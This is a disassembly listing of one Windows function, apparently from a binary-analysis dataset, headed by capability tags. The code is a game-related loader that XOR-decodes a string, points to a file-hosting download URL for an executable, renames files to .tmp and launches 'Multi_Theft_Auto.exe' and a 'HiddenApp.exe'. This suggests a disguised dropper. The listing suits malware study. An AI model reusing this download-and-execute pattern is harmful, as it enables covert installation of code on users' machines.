Function at 0x140041b00
Capabilities:
Create directory
Create process on windows
Create thread
Encode data using xor
Get common file path
Hash data using fnv
Move file

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x680]
sub rsp, 0x780
mov rax, qword [0x1401fdf00]
xor rax, rsp
mov qword [rbp + 0x670], rax
xor r15d, r15d
xorps xmm0, xmm0
movups xmmword [rbp + 0xf0], xmm0
mov qword [rbp + 0x100], r15
mov qword [rbp + 0x108], r15
mov r8d, 0x2b
lea rdx, str.C:Program_Files__x86_MTA_San_Andreas_1.6_
lea rcx, [rbp + 0xf0]
call fcn.140039a60
nop
movabs rsi, 0x7fffffffffffffff
mov rax, rsi
mov rcx, qword [rbp + 0x100]
sub rax, rcx
cmp rax, 7
jb 0x14004344f
lea r9, [rbp + 0xf0]
cmp qword [rbp + 0x108], 0xf
cmova r9, qword [rbp + 0xf0]
mov qword [rsp + 0x30], 7
lea rax, str.loader_
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0xf0]
movzx edx, byte [rsp + 0x50]
lea rcx, [rbp + 0x70]
call fcn.140049410
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x110], xmm0
mov qword [rbp + 0x120], r15
mov qword [rbp + 0x128], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x110], r15b
movups xmmword [rbp + 0x150], xmm0
mov qword [rbp + 0x160], r15
mov qword [rbp + 0x168], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x150], r15b
lea rdx, [rbp + 0x560]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
xorps xmm0, xmm0
movups xmmword [rbp + 0x130], xmm0
mov qword [rbp + 0x140], r15
mov qword [rbp + 0x148], r15
lea rax, [rbp + 0x560]
mov rdi, 0xffffffffffffffff
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x140041c53
lea rdx, [rbp + 0x560]
lea rcx, [rbp + 0x130]
call fcn.140039a60
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
mov qword [rbp + 0x1e0], r15
mov qword [rbp + 0x1e8], r15
mov r8d, 0x50
lea rdx, str._99wbb____c___94____c.__b_____5____b______xxuxuxux____c959
lea rcx, [rbp + 0x1d0]
call fcn.140039a60
nop
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x1b0]
call fcn.140045020
mov rcx, r15
mov rdx, qword [rbp + 0x1e0]
test rdx, rdx
je 0x140041cf3
nop word [rax + rax]
lea rax, [rbp + 0x1b0]
cmp qword [rbp + 0x1c8], 0xf
cmova rax, qword [rbp + 0x1b0]
xor byte [rax + rcx], 0x4d
inc rcx
cmp rcx, rdx
jb 0x140041cd0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f0], xmm0
movups xmmword [rbp + 0x200], xmm0
movups xmmword [rbp + 0x210], xmm0
movups xmmword [rbp + 0x220], xmm0
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0x1f0]
call fcn.14003c300
nop
cmp qword [rbp + 0x200], 0
jne 0x140041d3c
lea rdx, str.Error_96.
jmp 0x1400431ab
mov r8d, dword [0x1402c7f30]
movzx edx, r8b
movabs rax, 0xcbf29ce484222325
xor rdx, rax
movabs rcx, 0x100000001b3
imul rdx, rcx
movzx eax, byte [0x1402c7f31]
xor rdx, rax
imul rdx, rcx
movzx eax, byte [0x1402c7f32]
xor rdx, rax
imul rdx, rcx
movzx eax, byte [0x1402c7f33]
xor rdx, rax
imul rdx, rcx
and rdx, qword [rbp + 0x220]
mov rax, rdx
add rax, rax
mov r10, qword [rbp + 0x208]
mov rcx, qword [r10 + rax*8 + 8]
mov r9, qword [rbp + 0x1f8]
cmp rcx, r9
je 0x140041dd1
add rdx, rdx
mov rax, qword [r10 + rdx*8]
cmp r8d, dword [rcx + 0x10]
je 0x140041dd4
nop
cmp rcx, rax
je 0x140041dd1
mov rcx, qword [rcx + 8]
cmp r8d, dword [rcx + 0x10]
jne 0x140041dc0
jmp 0x140041dd4
mov rcx, r15
mov rax, r9
test rcx, rcx
cmovne rax, rcx
cmp rax, r9
je 0x1400431a4
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0x1f0]
call fcn.140047030
mov rdx, qword [rax]
add rdx, 0x18
lea rax, [rbp + 0x110]
cmp rax, rdx
je 0x140041e24
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0xf
jbe 0x140041e18
mov rdx, qword [rdx]
lea rcx, [rbp + 0x110]
call fcn.140045ea0
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x70], r15
mov r8d, 4
lea rdx, str..dll
lea rcx, [rsp + 0x58]
call fcn.140039a60
nop
lea rdx, [rsp + 0x58]
lea rcx, [rbp + 0x190]
call fcn.14003a390
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x140041e9d
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140041e98
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140043120
call fcn.140160684
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x70], r15
mov r8d, 4
lea rdx, str..exe
lea rcx, [rsp + 0x58]
call fcn.140039a60
nop
lea rdx, [rsp + 0x58]
lea rcx, [rbp + 0x170]
call fcn.14003a390
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x140041f16
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140041f11
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140042577
call fcn.140160684
mov r8d, 0x3a
lea rdx, str.https:__api.hostize.com_files_OpJorR48Zw_download_file.exe
lea rcx, [rbp + 0x150]
call fcn.140045ea0
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x70], r15
mov r8d, reloc.WS2_32.dll_sendto
lea rdx, str.Multi_Theft_Auto.exe
lea rcx, [rsp + 0x58]
call fcn.140039a60
nop
lea rcx, [rsp + 0x58]
call fcn.14003d0b0
movzx ebx, al
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x140041fa3
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140041f9e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140042577
call fcn.140160684
test bl, bl
je 0x140041fc8
mov r9d, 0x30
lea r8, str.Warning
lea rdx, str.Multi_Theft_Auto.exe_is_already_running._Please_close_it_before_proceeding.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x1400430e8
lea rcx, [rbp + 0x70]
cmp qword [rbp + 0x88], 0xf
cmova rcx, qword [rbp + 0x70]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x140041ff6
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x1400430e8
mov rax, rsi
mov rcx, qword [rbp + 0x80]
sub rax, rcx
mov rdx, qword [rbp + 0x1a0]
cmp rax, rdx
jb 0x140043455
lea r9, [rbp + 0x70]
cmp qword [rbp + 0x88], 0xf
cmova r9, qword [rbp + 0x70]
lea rax, [rbp + 0x190]
cmp qword [rbp + 0x1a8], 0xf
cmova rax, qword [rbp + 0x190]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0x70]
movzx edx, byte [rsp + 0x50]
lea rcx, [rbp + 0xb0]
call fcn.140049410
nop
lea rax, [rbp + 0x70]
cmp qword [rbp + 0x88], 0xf
cmova rax, qword [rbp + 0x70]
mov qword [rbp], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 8], rax
call fcn.14015f620
movaps xmm0, xmmword [rbp]
movdqa xmmword [rbp - 0x40], xmm0
lea r8, [rbp - 0x40]
mov edx, eax
lea rcx, [rsp + 0x78]
call fcn.1400373c0
nop
xorps xmm0, xmm0
movdqa xmmword [rbp], xmm0
lea rdx, [rsp + 0x78]
lea rcx, [rbp]
call fcn.140046720
test eax, eax
jne 0x14004345b
mov rdx, qword [rbp - 0x70]
cmp rdx, 7
jbe 0x140042101
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400420fc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400420fc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140160684
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov r14, qword [rbp + 8]
test r14, r14
je 0x140042116
lock inc dword [r14 + 8]
movaps xmm0, xmmword [rbp]
movdqa xmmword [rbp + 0x20], xmm0
test r14, r14
je 0x140042129
lock inc dword [r14 + 8]
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x20], xmm1
test r14, r14
je 0x140042162
mov eax, edi
lock xadd dword [r14 + 8], eax
cmp eax, 1
jne 0x140042162
mov rax, qword [r14]
mov rcx, r14
call qword [rax]
mov eax, edi
lock xadd dword [r14 + 0xc], eax
cmp eax, 1
jne 0x140042162
mov rax, qword [r14]
mov rcx, r14
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov r12, qword [rbp + 0x28]
mov r13, qword [rbp + 0x20]
nop word [rax + rax]
test r13, r13
je 0x14004257e
lea rax, str..dll
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], 4
call fcn.14015f620
movaps xmm0, xmmword [rbp + 0xd0]
movdqa xmmword [rbp + 0x10], xmm0
lea r8, [rbp + 0x10]
mov edx, eax
lea rcx, [rsp + 0x58]
call fcn.1400373c0
nop
lea rsi, [r13 + 0x20]
mov rcx, rsi
cmp qword [rsi + 0x18], 7
jbe 0x1400421c5
mov rcx, qword [rsi]
lea rax, [rsi + 0x10]
mov qword [rbp + 0x10], rax
mov rax, qword [rax]
lea rdx, [rcx + rax*2]
mov rbx, rdx
call fcn.140037540
cmp rax, rdx
je 0x14004221c
movzx ecx, word [rax]
cmp cx, 0x5c
je 0x1400421f0
cmp cx, 0x2f
jne 0x1400421f9
add rax, 2
cmp rax, rdx
jne 0x1400421e1
cmp rax, rdx
je 0x14004221c
nop
lea r8, [rbx - 2]
movzx ecx, word [r8]
cmp cx, 0x5c
je 0x14004221c
cmp cx, 0x2f
je 0x14004221c
mov rbx, r8
cmp rax, r8
jne 0x140042200
mov r8d, 0x3a
mov rcx, rbx
call fcn.14015fef0
cmp rbx, rax
je 0x140042267
lea rcx, [rax - 2]
cmp rbx, rcx
je 0x140042267
cmp word [rcx], 0x2e
jne 0x14004224f
lea rdx, [rcx - 2]
cmp rbx, rdx
jne 0x14004226a
cmp word [rdx], 0x2e
jne 0x14004226a
jmp 0x140042267
sub rcx, 2
cmp rbx, rcx
je 0x140042267
cmp word [rcx], 0x2e
je 0x14004226a
sub rcx, 2
cmp rbx, rcx
jne 0x140042258
mov rcx, rax
mov qword [rbp + 0x90], rcx
sub rax, rcx
sar rax, 1
mov qword [rbp + 0x98], rax
lea rdx, [rbp + 0x90]
lea rcx, [rsp + 0x78]
call fcn.14004c420
lea rax, [rsp + 0x58]
mov rbx, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x70]
cmp rdi, 7
cmova rax, rbx
mov qword [rbp + 0x30], rax
mov rax, qword [rsp + 0x68]
mov qword [rbp + 0x38], rax
movaps xmm0, xmmword [rbp + 0x30]
movdqa xmmword [rbp - 0x60], xmm0
lea rdx, [rbp - 0x60]
lea rcx, [rsp + 0x78]
call fcn.1400378d0
mov r15d, eax
mov rdx, qword [rbp - 0x70]
cmp rdx, 7
jbe 0x140042318
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140042309
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400424b1
call fcn.140160684
mov rdi, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x58]
xor eax, eax
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x70], 7
mov word [rsp + 0x78], ax
cmp rdi, 7
jbe 0x140042366
lea rdx, [rdi*2 + 2]
mov rax, rbx
cmp rdx, 0x1000
jb 0x14004235e
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400424b8
mov rcx, rbx
call fcn.140160684
test r15d, r15d
jne 0x140042400
cmp qword [rsi + 0x18], 7
jbe 0x140042379
mov rsi, qword [rsi]
mov rax, qword [rbp + 0x10]
mov rax, qword [rax]
mov qword [rbp - 0x40], rsi
mov qword [rbp - 0x38], rax
call fcn.14015f620
movaps xmm0, xmmword [rbp - 0x40]
movdqa xmmword [rbp - 0x60], xmm0
lea r9, [rsp + 0x50]
lea r8, [rbp - 0x60]
mov edx, eax
lea rcx, [rsp + 0x78]
call fcn.1400509a0
nop
lea rcx, [rsp + 0x78]
call fcn.140039fe0
movzx ebx, al
mov rdx, qword [rbp - 0x70]
cmp rdx, 0xf
jbe 0x1400423f5
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400423f0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400424bf
call fcn.140160684
test bl, bl
je 0x1400424c6
nop dword [rax]
lea rdx, [rbp + 0x310]
mov rcx, qword [r13 + 0x40]
call fcn.14015f8f8
cmp eax, 0x12
je 0x140042458
test eax, eax
jne 0x140042453
cmp word [rbp + 0x33c], 0x2e
jne 0x14004243f
movzx eax, word [rbp + 0x33e]
test ax, ax
je 0x140042400
cmp ax, 0x2e
jne 0x14004243f
cmp word [rbp + 0x340], 0
je 0x140042400
lea rdx, [rbp + 0x310]
mov rcx, r13
call fcn.140038880
xor r15d, r15d
jmp 0x1400424a1
xor r15d, r15d
jmp 0x1400424a4
xor r15d, r15d
mov r13d, r15d
mov qword [rbp + 0x20], r15
mov rbx, r12
mov r12d, r15d
mov qword [rbp + 0x28], r15
test rbx, rbx
je 0x1400424a1
mov rdi, 0xffffffffffffffff
mov eax, edi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x1400424a1
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, edi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x1400424a1
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + reloc.WS2_32.dll_htonl]
mov eax, r15d
test eax, eax
jne 0x140043440
jmp 0x140042170
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rbx, 0xffffffffffffffff
test r12, r12
je 0x140042502
mov eax, ebx
lock xadd dword [r12 + 8], eax
cmp eax, 1
jne 0x140042502
mov rax, qword [r12]
mov rcx, r12
call qword [rax]
mov eax, ebx
lock xadd dword [r12 + 0xc], eax
cmp eax, 1
jne 0x140042502
mov rax, qword [r12]
mov rcx, r12
call qword [rax + reloc.WS2_32.dll_htonl]
nop
test r14, r14
je 0x140042530
mov eax, ebx
lock xadd dword [r14 + 8], eax
cmp eax, 1
jne 0x140042530
mov rax, qword [r14]
mov rcx, r14
call qword [rax]
lock xadd dword [r14 + 0xc], ebx
cmp ebx, 1
jne 0x140042530
mov rax, qword [r14]
mov rcx, r14
call qword [rax + reloc.WS2_32.dll_htonl]
xor r15d, r15d
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0xf
jbe 0x1400430cf
inc rdx
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400430ca
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400430ca
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rdi, 0xffffffffffffffff
test r12, r12
je 0x1400425ba
mov eax, edi
lock xadd dword [r12 + 8], eax
cmp eax, 1
jne 0x1400425ba
mov rax, qword [r12]
mov rcx, r12
call qword [rax]
mov eax, edi
lock xadd dword [r12 + 0xc], eax
cmp eax, 1
jne 0x1400425ba
mov rax, qword [r12]
mov rcx, r12
call qword [rax + reloc.WS2_32.dll_htonl]
nop
test r14, r14
je 0x1400425ea
mov eax, edi
lock xadd dword [r14 + 8], eax
cmp eax, 1
jne 0x1400425ea
mov rax, qword [r14]
mov rcx, r14
call qword [rax]
mov eax, edi
lock xadd dword [r14 + 0xc], eax
cmp eax, 1
jne 0x1400425ea
mov rax, qword [r14]
mov rcx, r14
call qword [rax + reloc.WS2_32.dll_htonl]
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x110]
call fcn.14003a120
test al, al
je 0x140042533
mov ecx, 0x28
call fcn.140160330
mov rbx, rax
mov qword [rbp + 0x10], rax
lea rdx, [rbp + 0xb0]
mov rcx, rax
call fcn.140045020
lea rax, [0x14003a500]
mov qword [rbx + 0x20], rax
mov qword [rbp + 0x10], rbx
lea rax, [rbp + 8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r15d
mov r9, rbx
lea r8, [0x140050b40]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp], rax
test rax, rax
je 0x1400430ba
cmp dword [rbp + 8], 0
je 0x1400430ae
movaps xmm0, xmmword [rbp]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rbp - 0x60]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400430ae
xorps xmm0, xmm0
movdqa xmmword [rbp], xmm0
mov qword [rbp + 0x10], 3
lea rcx, [rbp + 0x10]
call fcn.140046ae0
movabs rsi, 0x7fffffffffffffff
mov rax, rsi
mov rcx, qword [rbp + 0x140]
sub rax, rcx
mov rdx, qword [rbp + 0x180]
cmp rax, rdx
jb 0x14004346f
lea r9, [rbp + 0x130]
cmp qword [rbp + 0x148], 0xf
cmova r9, qword [rbp + 0x130]
lea rax, [rbp + 0x170]
cmp qword [rbp + 0x188], 0xf
cmova rax, qword [rbp + 0x170]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0x130]
movzx edx, byte [rsp + 0x50]
lea rcx, [rbp + 0x50]
call fcn.140049410
nop
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x150]
call fcn.14003a120
test al, al
je 0x140043003
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
mov qword [rbp - 0x78], r15
mov qword [rbp - 0x70], r15
mov r8d, reloc.WS2_32.dll_listen
lea rdx, str.HiddenApp.exe
lea rcx, [rsp + 0x78]
call fcn.140039a60
nop
lea rcx, [rsp + 0x78]
call fcn.14003d0b0
movzx ebx, al
mov rdx, qword [rbp - 0x70]
cmp rdx, 0xf
jbe 0x1400427a7
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400427a2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400427a2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140160684
test bl, bl
jne 0x140043003
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x230], xmm0
movups xmmword [rbp + 0x240], xmm0
movups xmmword [rbp + 0x250], xmm0
movups xmmword [rbp + 0x260], xmm0
movups xmmword [rbp + 0x270], xmm0
movups xmmword [rbp + 0x280], xmm0
mov qword [rbp + 0x290], rax
mov dword [rbp + 0x26c], 1
mov word [rbp + 0x270], r15w
lea rcx, [rbp + 0x50]
cmp qword [rbp + 0x68], 0xf
cmova rcx, qword [rbp + 0x50]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x230]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x140042861
mov r9d, reloc.WS2_32.dll_recv
lea r8, str.Error
lea rdx, str.Error_Pls_run_as_adminstraitor.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x140043003
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x50]
mov r9, qword [rbp + 0x50]
mov r10, qword [rbp + 0x68]
cmp r10, 0xf
cmova rcx, r9
mov rdx, qword [rbp + 0x60]
test rdx, rdx
je 0x1400428c3
lea rax, [rdx - 1]
mov r8, rdi
cmp rax, 0xffffffffffffffff
cmovb r8, rax
add r8, rcx
cmp byte [r8], 0x2e
je 0x1400428be
nop word [rax + rax]
cmp r8, rcx
je 0x1400428c3
dec r8
cmp byte [r8], 0x2e
jne 0x1400428b0
sub r8, rcx
jmp 0x1400428c6
mov r8, rdi
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x48], r15
cmp rdx, r8
cmovb r8, rdx
lea rdx, [rbp + 0x50]
cmp r10, 0xf
cmova rdx, r9
lea rcx, [rbp - 0x60]
call fcn.140039a60
nop
mov r8d, 4
lea rdx, str..tmp
lea rcx, [rbp - 0x60]
call fcn.140046000
xorps xmm0, xmm0
movups xmmword [rbp + 0xd0], xmm0
mov qword [rbp + 0xe0], r15
mov qword [rbp + 0xe8], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xe0], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x140042982
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004297d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004297d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140160684
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x48], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x60], 0
lea rdx, [rbp + 0xd0]
cmp qword [rbp + 0xe8], 0xf
cmova rdx, qword [rbp + 0xd0]
lea rcx, [rbp + 0x50]
cmp qword [rbp + 0x68], 0xf
cmova rcx, qword [rbp + 0x50]
call qword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
je 0x140042d98
mov rax, qword [rbp + 0x100]
sub rsi, rax
cmp rsi, 0x14
jb 0x14004343a
lea r9, [rbp + 0xf0]
cmp qword [rbp + 0x108], 0xf
cmova r9, qword [rbp + 0xf0]
mov qword [rsp + 0x30], reloc.WS2_32.dll_sendto
lea rcx, str.Multi_Theft_Auto.exe
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
lea r8, [rbp + 0xf0]
movzx edx, byte [rsp + 0x50]
lea rcx, [rbp + 0x90]
call fcn.140049410
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2a4], xmm0
movups xmmword [rbp + 0x2b4], xmm0
movups xmmword [rbp + 0x2c4], xmm0
movups xmmword [rbp + 0x2d4], xmm0
movups xmmword [rbp + 0x2e4], xmm0
movups xmmword [rbp + 0x2f4], xmm0
mov dword [rbp + 0x304], eax
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], rax
mov dword [rbp + 0x2a0], WSAGetLastError
lea rcx, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0xf
cmova rcx, qword [rbp + 0x90]
lea rax, [rbp - 0x20]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x2a0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x140042add
mov r9d, reloc.WS2_32.dll_recv
lea r8, str.Error
lea rdx, str.Failed_to_launch_Multi_Theft_Auto.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x140042d3e
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x18]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbp + 0xd0]
lea rcx, [rsp + 0x78]
call fcn.140045020
nop
mov ecx, 0x20
call fcn.140160330
movups xmm0, xmmword [rsp + 0x78]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rbp - 0x78]
movups xmmword [rax + 0x10], xmm1
mov qword [rbp - 0x78], r15
mov qword [rbp - 0x70], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x78], 0
mov qword [rbp + 0x10], rax
lea rcx, [rbp + 8]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r15d
mov r9, rax
lea r8, [0x140050bc0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp], rax
test rax, rax
je 0x140043084
cmp dword [rbp + 8], 0
je 0x140043078
movaps xmm0, xmmword [rbp]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rbp - 0x60]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140043078
xorps xmm0, xmm0
movdqa xmmword [rbp], xmm0
mov qword [rbp + 0x10], reloc.WS2_32.dll_sendto
lea rcx, [rbp + 0x10]
call fcn.140046ae0
lea rcx, [rbp + 0xb0]
mov r9, qword [rbp + 0xb0]
mov r10, qword [rbp + 0xc8]
cmp r10, 0xf
cmova rcx, r9
mov rdx, qword [rbp + 0xc0]
test rdx, rdx
je 0x140042bf3
lea rax, [rdx - 1]
mov r8, rdi
cmp rax, 0xffffffffffffffff
cmovb r8, rax
add r8, rcx
cmp byte [r8], 0x2e
je 0x140042bee
cmp r8, rcx
je 0x140042bf3
dec r8
cmp byte [r8], 0x2e
jne 0x140042be0
sub r8, rcx
jmp 0x140042bf6
mov r8, rdi
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x70], r15
cmp rdx, r8
cmovb r8, rdx
lea rdx, [rbp + 0xb0]
cmp r10, 0xf
cmova rdx, r9
lea rcx, [rsp + 0x58]
call fcn.140039a60
nop
mov r8d, 4
lea rdx, str..tmp
lea rcx, [rsp + 0x58]
call fcn.140046000
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
mov qword [rbp + 0x40], r15
mov qword [rbp + 0x48], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x40], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x140042cad
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140042ca8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140042ca8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140160684
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x70], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x58], 0
lea rdx, [rbp + 0x30]
cmp qword [rbp + 0x48], 0xf
cmova rdx, qword [rbp + 0x30]
lea rcx, [rbp + 0xb0]
cmp qword [rbp + 0xc8], 0xf
cmova rcx, qword [rbp + 0xb0]
call qword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
jne 0x140042de3
mov rdx, qword [rbp + 0x48]
cmp rdx, 0xf
jbe 0x140042d2e
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140042d29
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
